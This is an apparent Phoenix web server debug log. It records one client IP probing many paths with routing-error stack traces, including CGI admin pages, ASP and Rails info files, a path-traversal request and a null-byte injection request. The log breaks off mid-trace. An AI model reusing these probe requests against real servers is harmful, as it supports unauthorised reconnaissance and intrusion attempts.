[Thu Sep  3 08:36:17.545000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51662] ** (Phoenix.Router.NoRouteError) no route found for GET /note.txt (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.2ms idle=1827.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 08:36:35.923000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51460] GET /..\pixfir~1\how_to_login.html
[Thu Sep  3 08:36:35.941000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51460] ** (Phoenix.Router.NoRouteError) no route found for GET /..\pixfir~1\how_to_login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:36:46.593000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57264] GET /trace.axd
[Thu Sep  3 08:36:46.612000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57264] ** (Phoenix.Router.NoRouteError) no route found for GET /trace.axd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:36:53.290000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50098] GET /global.asa
[Thu Sep  3 08:36:53.314000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50098] ** (Phoenix.Router.NoRouteError) no route found for GET /global.asa (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:37:00.870000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50106] GET /index.jsp%00x
[Thu Sep  3 08:37:00.888000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50106] ** (Phoenix.Router.NoRouteError) no route found for GET /index.jsp%00x (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:37:09.120000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44538] GET /user_settings.cfg
[Thu Sep  3 08:37:09.171000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44538] ** (Phoenix.Router.NoRouteError) no route found for GET /user_settings.cfg (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:38:26.685000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unable to obtain host and port: No host header
[Thu Sep  3 08:39:12.435000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42550] GET /
[Thu Sep  3 08:39:12.435000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:42550] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:39:12.436000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42550] Sent 200 in 1ms
[Thu Sep  3 08:39:13.480000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42550] POST /
[Thu Sep  3 08:39:13.489000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42550] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:39:23.206000 2026] [Phoenix.Logger:info] [pid 2816631] [client 66.228.53.78:11396] GET /
[Thu Sep  3 08:39:23.207000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 66.228.53.78:11396] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:39:23.208000 2026] [Phoenix.Logger:info] [pid 2816631] [client 66.228.53.78:11396] Sent 200 in 2ms
[Thu Sep  3 08:39:25.901000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37078] GET /rails_info/properties
[Thu Sep  3 08:39:25.933000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37078] ** (Phoenix.Router.NoRouteError) no route found for GET /rails_info/properties (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:39:26.776000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37088] GET /index.html
[Thu Sep  3 08:39:26.803000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37088] ** (Phoenix.Router.NoRouteError) no route found for GET /index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:22.765000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41724] GET /
[Thu Sep  3 08:40:22.765000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:41724] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:40:22.766000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41724] Sent 200 in 1ms
[Thu Sep  3 08:40:23.795000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41724] GET /_mt/mt.cgi
[Thu Sep  3 08:40:23.819000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41724] ** (Phoenix.Router.NoRouteError) no route found for GET /_mt/mt.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:24.457000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45408] GET /admin.cgi
[Thu Sep  3 08:40:24.479000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45408] ** (Phoenix.Router.NoRouteError) no route found for GET /admin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:25.160000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45416] GET /administrator.cgi
[Thu Sep  3 08:40:25.189000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45416] ** (Phoenix.Router.NoRouteError) no route found for GET /administrator.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:25.842000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45428] GET /buglist.cgi
[Thu Sep  3 08:40:25.870000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45428] ** (Phoenix.Router.NoRouteError) no route found for GET /buglist.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:26.525000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45444] GET /cgi/mid.cgi
[Thu Sep  3 08:40:26.551000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45444] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi/mid.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:27.422000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45448] GET /cgi-bin/admin
[Thu Sep  3 08:40:27.440000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45448] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/admin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:28.157000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45462] GET /cgi-bin/admin.cgi
[Thu Sep  3 08:40:28.173000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45462] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/admin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
